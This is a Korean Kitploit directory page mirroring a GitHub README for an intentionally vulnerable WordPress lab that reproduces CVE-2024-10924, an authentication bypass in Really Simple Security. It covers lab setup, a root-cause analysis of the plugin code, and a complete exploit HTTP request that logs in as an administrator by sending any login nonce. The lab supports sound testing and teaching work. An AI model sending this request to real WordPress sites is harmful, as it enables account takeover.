Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wordpress-really-simple-security-authn-bypass-vulnerable-application — 경고: 이것은 Really Simple Security < 9.1.2 인증 우회(CVE-2024-10924) 취약점을 테스트하기 위한 취약한 애플리케이션입니다. 실행 시 책임은 본인에게 있습니다! | Kitploit
도구/GitHubGitHub/m3ssap0/wordpress-really-simple-security-authn-bypass-vulnerable-application
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLabs & Practice
GitHubm3ssap0/wordpress-really-simple-security-authn-bypass-vulnerable-application

wordpress-really-simple-security-authn-bypass-vulnerable-application

경고: 이것은 Really Simple Security < 9.1.2 인증 우회(CVE-2024-10924) 취약점을 테스트하기 위한 취약한 애플리케이션입니다. 실행 시 책임은 본인에게 있습니다!

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
81년 전아직 검토되지 않음

wordpress-really-simple-security-authn-bypass-vulnerable-application

이것은 Really Simple Security < 9.1.2 인증 우회(CVE-2024-10924) 익스플로잇을 테스트하기 위한 취약한 애플리케이션입니다.

경고!

이 애플리케이션에는 심각한 보안 취약점이 포함되어 있습니다. 실행 시 책임은 본인에게 있습니다! 최근 스냅샷과 호스트 전용 네트워킹이 설정된 VM과 같은 백업되고 격리된 환경을 사용하는 것이 좋습니다. 이 애플리케이션을 인터넷에 노출된 서버에 업로드하지 마십시오. 서버가 침해될 수 있습니다.

면책 조항: 저는 이 애플리케이션을 사용하는 모든 이의 사용 방식에 대해 책임을 지지 않습니다. 이 애플리케이션의 유일한 목적은 Really Simple Security < 9.1.2 인증 우회(CVE-2024-10924) 익스플로잇을 위한 테스트 시나리오를 제공하는 것이며, 악의적으로 사용되어서는 안 됩니다. 이 애플리케이션을 설치하여 서버가 침해된 경우, 그 책임은 저에게 있는 것이 아니라 이 애플리케이션을 업로드하고 설치한 사람(들)에게 있습니다.

취약점 정보

  • CVE-ID: CVE-2024-10924
  • 링크: https://www.cve.org/CVERecord?id=CVE-2024-10924
  • 설명: 이 취약점으로 인해 인증되지 않은 공격자가 "Two-Factor Authentication" 설정이 활성화되어 있을 때(기본적으로 비활성화됨) 사이트의 기존 사용자(예: 관리자)로 로그인할 수 있게 됩니다.
  • 수정: https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl
  • Wordfence 공지: https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass

사용법

환경을 설정하는 단계는 다음과 같습니다:

  1. ./up.sh를 실행하여 구성을 시작합니다.
  2. 여기에서 WordPress 설치를 완료합니다: https://localhost:1337/wp-admin/install.php.
  3. WordPress에 로그인합니다.
  4. "Plugins"로 이동합니다: https://localhost:1337/wp-admin/plugins.php.
  5. "Really Simple Security" 플러그인 아래의 "Activate"를 클릭합니다. 업데이트하지 마세요. 취약한 버전이 필요하기 때문입니다.
  6. SSL 활성화와 관련된 팝업에서 "Cancel"을 클릭합니다.
  7. "Settings" > "Login Protection" > "Two-Factor Authentication"로 이동한 다음, "Two-Factor Authentication" 섹션에서 "Enable Two-Factor Authentication"을 활성화합니다.
  8. "Save" 버튼을 클릭합니다.

컨테이너 이름은 vuln-wp-really-simple-security입니다.

환경을 해체하려면 ./down.sh 명령을 사용하거나, 이미지와 데이터베이스 볼륨도 함께 제거하려면 ./down_and_delete.sh 명령을 사용합니다.

근본 원인

수정을 살펴보면, 취약한 버전에서는 check_login_and_get_user() 함수가 잘못된 로그인 nonce가 입력된 경우 전체 작업을 중단하지 않고 오류 객체를 반환했음을 알 수 있습니다.

root@kitploit:~
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
    if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
        return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
    }

    /**
     * Get the user by the user ID.
     *
     * @var WP_User $user
     */
    $user = get_user_by( 'id', $user_id );
    return $user;
}

그런데 호출자에서는 check_login_and_get_user() 함수(277행)의 출력에 대해 검사를 수행하지 않고, 입력에서 받은 사용자 ID와 동일한 값을 사용하여 authenticate_and_redirect() 함수(278행)로 계속 진행했습니다.

root@kitploit:~
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
	$parameters = new Rsssl_Request_Parameters( $request );
	// As a double we check the user_id with the login nonce.
	$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
	return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}

익스플로잇

취약점을 익스플로잇하려면 다음과 같은 요청으로 충분합니다.

root@kitploit:~
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive

{
    "user_id": 1,
    "login_nonce": "133333337",
    "redirect_to": "/wp-admin/"
}

그런 다음 반환된 세션 쿠키를 브라우저에 적절히 설정합니다.

user_id는 대상 사용자의 ID여야 하며, login_nonce는 잘못된 값이라도 프로세스를 차단하지 않으므로 아무 값이나 사용할 수 있습니다.

Python으로 작성된 익스플로잇 스크립트는 여기에서 찾을 수 있습니다.

작성자

  • Antonio Francesco Sardella - 구현 - m3ssap0

라이선스

이 프로젝트는 Unlicense 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

감사의 말

  • István Márton, 취약점을 발견한 보안 연구원.
도구 다운로드